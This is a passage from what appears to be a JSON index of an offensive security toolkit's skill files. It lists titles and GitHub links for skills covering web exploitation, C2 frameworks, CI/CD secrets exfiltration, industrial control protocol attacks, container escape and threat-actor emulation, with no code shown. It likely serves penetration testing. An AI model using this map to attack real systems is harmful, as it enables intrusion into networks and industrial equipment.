GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/discovery/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/web-recon/cookie-audit/SKILL.md":"# cookie-audit\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/cookie-audit/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/cookie-audit/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/web-recon/cms-scanning/SKILL.md":"# cms-scanning\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/cms-scanning/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/cms-scanning/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/web-recon/auth-mapping/SKILL.md":"# auth-mapping\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/auth-mapping/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/auth-mapping/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/web-recon/api-enumeration/SKILL.md":"# api-enumeration\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/api-enumeration/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/api-enumeration/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/web-recon/subdomain-takeover/SKILL.md":"# subdomain-takeover\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/subdomain-takeover/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/subdomain-takeover/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/web-recon/waf-detection/SKILL.md":"# waf-detection\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/waf-detection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/waf-detection/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/c2/mythic/SKILL.md":"# mythic\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2/mythic/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2/mythic/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/c2/havoc/SKILL.md":"# havoc\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2/havoc/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2/havoc/SKILL.md)","packages/decepticon/decepticon/skills/standard/mobile/ios/dynamic/SKILL.md":"# dynamic\n\nPath: `packages/decepticon/decepticon/skills/standard/mobile/ios/dynamic/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/mobile/ios/dynamic/SKILL.md)","packages/decepticon/decepticon/skills/standard/mobile/android/il2cpp/SKILL.md":"# il2cpp\n\nPath: `packages/decepticon/decepticon/skills/standard/mobile/android/il2cpp/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/mobile/android/il2cpp/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/saml/SKILL.md":"# saml\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/saml/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/saml/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/race-condition/SKILL.md":"# race-condition\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/race-condition/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/race-condition/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/proxy-misconfig/SKILL.md":"# proxy-misconfig\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/proxy-misconfig/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/proxy-misconfig/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/php-type-juggling/SKILL.md":"# php-type-juggling\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/php-type-juggling/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/php-type-juggling/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/open-redirect/SKILL.md":"# open-redirect\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/open-redirect/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/open-redirect/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/oauth/SKILL.md":"# oauth\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/oauth/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/oauth/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.md":"# nosqli\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/mfa-bypass/SKILL.md":"# mfa-bypass\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/mfa-bypass/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/mfa-bypass/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/mass-assignment/SKILL.md":"# mass-assignment\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/mass-assignment/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/mass-assignment/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md":"# lfi\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.md":"# ldapi\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/jwt/SKILL.md":"# jwt\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/jwt/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/jwt/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/idor/SKILL.md":"# idor\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/idor/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/idor/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.md":"# hpp\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md":"# header-injection\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/graphql/SKILL.md":"# graphql\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/graphql/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/graphql/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/file-upload/SKILL.md":"# file-upload\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/file-upload/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/file-upload/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/dom-clobbering/SKILL.md":"# dom-clobbering\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/dom-clobbering/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/dom-clobbering/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/dns-rebinding/SKILL.md":"# dns-rebinding\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/dns-rebinding/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/dns-rebinding/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md":"# deserialization\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/cve/SKILL.md":"# cve\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/cve/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/cve/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/csrf/SKILL.md":"# csrf\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/csrf/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/csrf/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/crypto/SKILL.md":"# crypto\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/crypto/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/crypto/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/cors/SKILL.md":"# cors\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/cors/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/cors/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md":"# command-injection\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/clickjacking/SKILL.md":"# clickjacking\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/clickjacking/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/clickjacking/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.md":"# cache-deception\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/business-logic/SKILL.md":"# business-logic\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/business-logic/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/business-logic/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md":"# blind-sqli\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md":"# bfla\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/ato-methodology/SKILL.md":"# ato-methodology\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/ato-methodology/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/ato-methodology/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/smuggling/SKILL.md":"# smuggling\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/smuggling/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/smuggling/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/sqli/SKILL.md":"# sqli\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/sqli/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/sqli/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md":"# ssrf\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md":"# ssti\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/verb-tampering/SKILL.md":"# verb-tampering\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/verb-tampering/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/verb-tampering/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/waf-bypass/SKILL.md":"# waf-bypass\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/waf-bypass/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/waf-bypass/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/web-cache-poisoning/SKILL.md":"# web-cache-poisoning\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/web-cache-poisoning/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/web-cache-poisoning/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/xpath-xslt/SKILL.md":"# xpath-xslt\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/xpath-xslt/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/xpath-xslt/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/xs-leaks/SKILL.md":"# xs-leaks\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/xs-leaks/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/xs-leaks/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md":"# xss\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md":"# xxe\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/supplychain/dep-confusion/SKILL.md":"# dep-confusion\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/supplychain/dep-confusion/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/supplychain/dep-confusion/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/s7comm/SKILL.md":"# s7comm\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/s7comm/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/s7comm/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/profinet/SKILL.md":"# profinet\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/profinet/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/profinet/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/opcua/SKILL.md":"# opcua\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/opcua/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/opcua/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/modbus/SKILL.md":"# modbus\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/modbus/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/modbus/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/enip-cip/SKILL.md":"# enip-cip\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/enip-cip/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/enip-cip/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/dnp3/SKILL.md":"# dnp3\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/dnp3/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/dnp3/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/bacnet/SKILL.md":"# bacnet\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/bacnet/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/bacnet/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/cicd/self-hosted-runner-abuse/SKILL.md":"# self-hosted-runner-abuse\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/cicd/self-hosted-runner-abuse/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/cicd/self-hosted-runner-abuse/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/cicd/poisoned-pipeline-execution/SKILL.md":"# poisoned-pipeline-execution\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/cicd/poisoned-pipeline-execution/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/cicd/poisoned-pipeline-execution/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/cicd/github-actions-injection/SKILL.md":"# github-actions-injection\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/cicd/github-actions-injection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/cicd/github-actions-injection/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/cicd/cicd-secrets-exfil/SKILL.md":"# cicd-secrets-exfil\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/cicd/cicd-secrets-exfil/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/cicd/cicd-secrets-exfil/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/api/server-sent-events/SKILL.md":"# server-sent-events\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/api/server-sent-events/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/api/server-sent-events/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/api/grpc/SKILL.md":"# grpc\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/api/grpc/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/api/grpc/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md":"# soap-wsdl\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md":"# websocket\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/container/k8s-rbac-abuse/SKILL.md":"# k8s-rbac-abuse\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/container/k8s-rbac-abuse/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/container/k8s-rbac-abuse/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/container/k8s-pod-escape/SKILL.md":"# k8s-pod-escape\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/container/k8s-pod-escape/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/container/k8s-pod-escape/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.md":"# docker-socket-mount\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/container/container-cve/SKILL.md":"# container-cve\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/container/container-cve/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/container/container-cve/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/chains/xss-to-takeover/SKILL.md":"# xss-to-takeover\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/chains/xss-to-takeover/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/chains/xss-to-takeover/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/chains/ssrf-to-rce/SKILL.md":"# ssrf-to-rce\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/chains/ssrf-to-rce/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/chains/ssrf-to-rce/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/chains/idor-to-priv-esc/SKILL.md":"# idor-to-priv-esc\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/chains/idor-to-priv-esc/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/chains/idor-to-priv-esc/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/chains/cred-reuse/SKILL.md":"# cred-reuse\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/chains/cred-reuse/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/chains/cred-reuse/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/scattered-spider/SKILL.md":"# scattered-spider\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/scattered-spider/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/scattered-spider/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/sandworm/SKILL.md":"# sandworm\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/sandworm/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/sandworm/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/lockbit/SKILL.md":"# lockbit\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/lockbit/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/lockbit/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/lazarus/SKILL.md":"# lazarus\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/lazarus/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/lazarus/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/fin7/SKILL.md":"# fin7\n\nPath: 